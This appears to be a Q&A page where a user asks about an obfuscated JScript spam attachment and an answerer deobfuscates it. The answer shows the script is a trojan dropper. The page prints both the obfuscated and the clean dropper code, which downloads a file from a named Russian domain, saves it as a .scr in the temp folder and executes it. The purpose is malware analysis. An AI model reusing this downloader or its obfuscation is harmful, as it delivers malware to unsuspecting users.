Search code examples
javascriptdeobfuscationtrojan

What does this bit of javascript do? This was marked by ESET as trojan


I received a spam email that contained an attachment with a .js file, and out of curiosity I opened it up in notepad (didn't run it of course). Had to disable ESET temporarily as it was marking this as a trojan. I was wondering what this actually does:

 autonomousRadio = eval(('transport', 'caste', 'acoustic', 'primitive', 'absurd', 'clip', '\u0074phenomenon'.e()) + 'h' + ('station', '\u0069program(me)'.e()) + 's');
 autonomousRadio = autonomousRadio[('barbarian', '\u0041ruin'.e()) + 'ct' + ('state', 'prologue', 'accompany', 'orientation', 'chance', 'unison', '\u0069cyclone'.e()) + 've' + ('modify', 'instruction', 'perspective', '\u0058depot'.e()) + 'O' + ('intellect', 'guide', 'delegation', 'invalid', '\u0062order'.e()) + 'je' + ('pill', 'revue', 'compress', 'commerce', '\u0063sponsor'.e()) + 't'];
 skeletonArcade = ('major', '\u0052discrete'.e()) + 'un';

 function String.prototype.e(a) {
     return this.charAt(a);
 }
 phaseMemorial = new autonomousRadio(('dogma', 'literature', '\u0057handicap'.e()) + 'S' + ('beach', 'reform', 'duplicate', 'obligation', 'gram(me)', '\u0063origin'.e()) + 'ri' + ('aspect', 'finish', 'cycle', 'military', 'universal', 'citation', '\u0070association'.e()) + 't.' + ('document', 'solo', 'simulate', 'potentiality', 'statue', 'episode', '\u0053vacancy'.e()) + 'he' + ('detail', 'contact', 'triumph', 'nose', '\u006caccord'.e()) + 'l');
 tribuneApparatus = phaseMemorial[('emotion', 'practice', '\u0045pseudonym'.e()) + 'xp' + ('project', 'acoustic', 'absolute', 'version', '\u0061morphology'.e()) + 'nd' + ('permanent', 'occupy', '\u0045cabin'.e()) + 'nv' + ('voyage', 'park', 'dialect', '\u0069emission'.e()) + 'ro' + ('superman', '\u006esubstance'.e()) + 'm' + ('intelligence', 'disk', 'tick', 'rocket', 'perspective', 'opposite', '\u0065match'.e()) + 'nt' + ('communication', 'order', '\u0053computer'.e()) + 't' + ('collection', '\u0072gallery'.e()) + 'in' + ('method', 'regent', 'communication', 'memoirs', 'forum', '\u0067mechanic'.e()) + 's'](('natural', 'refrigerator', 'stadium', 'station', 'opposite', 'double', '\u0025captain'.e()) + 'TE' + ('scandal', '\u004dblock'.e()) + 'P%' + ('focus', 'start', 'zone', '\u002forientation'.e()) + '') + "XFxuhJaJ" + ('selective', '\u002einformer'.e()) + 'sc' + ('vocal', 'public', 'speculation', 'mechanic', '\u0072balance'.e()) + '';
 classificationHospital = new autonomousRadio(('aspect', 'tract', 'bottle', '\u004dthermometer'.e()) + 'SX' + ('container', 'universe', 'decoration', 'file', 'resolution', '\u004dhotel'.e()) + 'L2' + ('resistor', 'square', '\u002ecensor'.e()) + 'X' + ('examination', 'collect', 'formation', 'distant', 'sexual', 'filter', '\u004dalternative'.e()) + 'LH' + ('bomber', 'amplitude', 'declaration', 'collector', 'veto', 'illegal', '\u0054boss'.e()) + 'TP');
 classificationHospital[('globe', '\u006fregent'.e()) + 'p' + ('metaphor', 'spindle', 'record', 'protector', 'patrol', '\u0065order'.e()) + 'n'](('medicine', '\u0047conception'.e()) + 'E' + ('modal', 'aquarium', 'cube', 'ocean', 'radical', 'bureau', '\u0054qualification'.e()) + '', ('tradition', 'regular', 'specification', '\u0068attestation'.e()) + 'tt' + ('investment', '\u0070directive'.e()) + ':' + ('solo', 'dialogue', '\u002fvacuum'.e()) + '/m' + ('nose', 'inspection', 'translator', 'balloon', 'problem', 'censor', '\u006fabsurd'.e()) + 'n' + ('cyclone', 'simulate', '\u0064university'.e()) + 'e' + ('reflection', 'sphere', 'manager', 'mark', '\u0072printer'.e()) + 'o.' + ('produce', '\u0072arbiter'.e()) + 'u' + ('deposit', '\u002fcooperation'.e()) + 's' + ('regularity', 'flag', '\u0079solo'.e()) + 's' + ('translation', 'technology', '\u0074literature'.e()) + 'em' + ('radical', '\u002fcomment'.e()) + 'lo' + ('photograph', 'moral', 'instance', 'limit', 'arctic', '\u0067unison'.e()) + 's' + ('administration', 'subjective', 'prologue', 'globe', '\u002fadequate'.e()) + '5' + ('interval', 'criteria', 'false', 'skeleton', '\u0036balloon'.e()) + 'y4' + ('anonymous', '\u0067licence'.e()) + '45' + ('plus', '\u0067game'.e()) + 'h' + ('audience', 'story', 'cocoon', 'minimal', '\u0034firm'.e()) + '5' + ('modal', 'test', 'mile', 'indifferent', '\u0068period'.e()) + '', ((1 & 1) + (1 * 0)) == ((1 | 1) & (0 & 1)));
 classificationHospital[('permanent', 'megaphone', 'tick', '\u0073syntax'.e()) + 'en' + ('academic', 'interpret', 'test', 'arbiter', 'trilogy', '\u0064negative'.e()) + '']();
 while (classificationHospital[('transportation', 'dialogue', 'control', 'amphibian', '\u0072cardinal'.e()) + 'e' + ('metal', 'radical', 'balance', 'author', '\u0061portal'.e()) + 'dy' + ('diagram', 'numeral', 'visa', 'tick', '\u0073band'.e()) + 'ta' + ('yard', 'primitive', 'special', 'intellect', 'original', 'tablet', '\u0074illustrate'.e()) + 'e'] < ((2 ^ 1) ^ (1 | 6))) {
     this[('administration', 'bomber', 'culture', 'delegate', 'centre', 'individuality', '\u0057recipe'.e()) + 'Sc' + ('laboratory', 'storm', 'archive', 'board', 'mate', 'occupy', '\u0072impression'.e()) + 'i' + ('filter', 'cocoon', 'linguist', 'clan', '\u0070cooperation'.e()) + 't'][('practical', '\u0053robot'.e()) + 'le' + ('variation', '\u0065technique'.e()) + 'p'](((3384 / 36) + (5 + 1)));
 }
 commandOccupy = new autonomousRadio(('censor', '\u0041guide'.e()) + 'D' + ('boxing', 'artillery', 'ocean', 'passion', '\u004ftransform'.e()) + 'DB' + ('intelligence', 'conception', 'cipher', 'motif', 'secret', '\u002emoment'.e()) + 'St' + ('refrigerator', 'vacuum', '\u0072lexicon'.e()) + 'ea' + ('delegation', 'rank', 'radiation', 'cortege', '\u006dplatform'.e()) + '');
 try {
     commandOccupy[('sexual', 'context', 'present', '\u006finfection'.e()) + 'p' + ('aggregate', 'action', 'prize', 'pretension', 'resource', '\u0065cabinet'.e()) + 'n']();
     commandOccupy[('provocation', 'rational', 'memoirs', 'limit', 'amputate', 'department', '\u0074interpretation'.e()) + 'yp' + ('bandit', '\u0065section'.e()) + ''] = ((0 / 16) ^ (52 - 51));
     commandOccupy[('assistant', 'inversion', 'prize', 'injection', 'dictator', 'transcription', '\u0077bisexual'.e()) + 'ri' + ('student', 'reserve', 'figure', '\u0074net'.e()) + 'e'](classificationHospital[('radiation', '\u0052generation'.e()) + 'e' + ('bazaar', 'popular', 'translation', '\u0073captain'.e()) + 'po' + ('profile', 'active', 'medicine', '\u006emate'.e()) + 'se' + ('operate', 'document', 'arctic', '\u0042analogy'.e()) + 'od' + ('cathedral', '\u0079factor'.e()) + '']);
     commandOccupy[('block', '\u0070project'.e()) + 'os' + ('square', 'filter', 'vertical', 'variant', '\u0069selection'.e()) + 't' + ('relaxation', 'decade', 'negative', 'cent', '\u0069variant'.e()) + 'on'] = ((0 & 1) & (1 | 0));
     try {
         commandOccupy[('literature', 'industrial', 'assortment', 'autograph', 'refrigerator', '\u0073boss'.e()) + 'a' + ('buffer', 'dog', 'public', '\u0076lord'.e()) + 'e' + ('collect', 'abstract', 'initiative', 'arctic', 'focus', 'incident', '\u0054amortization'.e()) + 'o' + ('precedent', 'transport', 'scandal', 'confidential', '\u0046block'.e()) + 'il' + ('solo', 'delta', 'defect', 'terminology', 'fortune', 'agent', '\u0065arbiter'.e()) + ''](tribuneApparatus, ((2 ^ 0) | (0 + 0)));
         commandOccupy[('collective', 'shorts', 'bazaar', '\u0063project'.e()) + 'l' + ('terminology', 'collective', 'indifferent', 'veto', 'numeration', 'statuette', '\u006factor'.e()) + 'se']();
         phaseMemorial[skeletonArcade](tribuneApparatus);
     } catch (arbiterApproximation) {};
 } catch (arbiterApproximation) {};

Would appreciate if anyone could have a brief look and explain what this is supposed to do!

Thanks


Solution

  • Interesting obfuscation, lots use of the comma operator. Notice that

    function String.prototype.e(a) {
        return this.charAt(a);
    }
    

    is syntactically invalid JavaScript, but works in (possibly only old versions of) Jscript (see here, page 69). Those .e() calls just get the first character of the respective string.

    Removing the obfuscation using the snippet

    code.replace(/\\u([0-9a-f]{4})/g, function(_, c) { return String.fromCharCode(parseInt(c, 16)); })
      .replace(/\((?:'[^']*',\s*)*'(.)[^']*'\.e\(\)\)/g, "'$1'")
      .replace(/'\s*\+\s*'/g, "")
    

    this is what you will get (do not run this!):

    autonomousRadio = eval('this');
    autonomousRadio = autonomousRadio['ActiveXObject'];
    skeletonArcade = 'Run';
    phaseMemorial = new autonomousRadio('WScript.Shell');
    tribuneApparatus = phaseMemorial['ExpandEnvironmentStrings']('%TEMP%/') + "XFxuhJaJ" + '.scr';
    classificationHospital = new autonomousRadio('MSXML2.XMLHTTP');
    classificationHospital['open']('GET', 'http://mondero.ru/system/logs/56y4g45gh45h', ((1 & 1) + (1 * 0)) == ((1 | 1) & (0 & 1)));
    classificationHospital['send']();
    while (classificationHospital['readystate'] < ((2 ^ 1) ^ (1 | 6))) {
        this['WScript']['Sleep'](((3384 / 36) + (5 + 1)));
    }
    commandOccupy = new autonomousRadio('ADODB.Stream');
    try {
        commandOccupy['open']();
        commandOccupy['type'] = ((0 / 16) ^ (52 - 51));
        commandOccupy['write'](classificationHospital['ResponseBody']);
        commandOccupy['position'] = ((0 & 1) & (1 | 0));
        try {
            commandOccupy['saveToFile'](tribuneApparatus, ((2 ^ 0) | (0 + 0)));
            commandOccupy['close']();
            phaseMemorial[skeletonArcade](tribuneApparatus);
        } catch (arbiterApproximation) {};
    } catch (arbiterApproximation) {};
    

    Yes, this is clearly a trojan, downloading a .scr file from that russian domain onto your computer.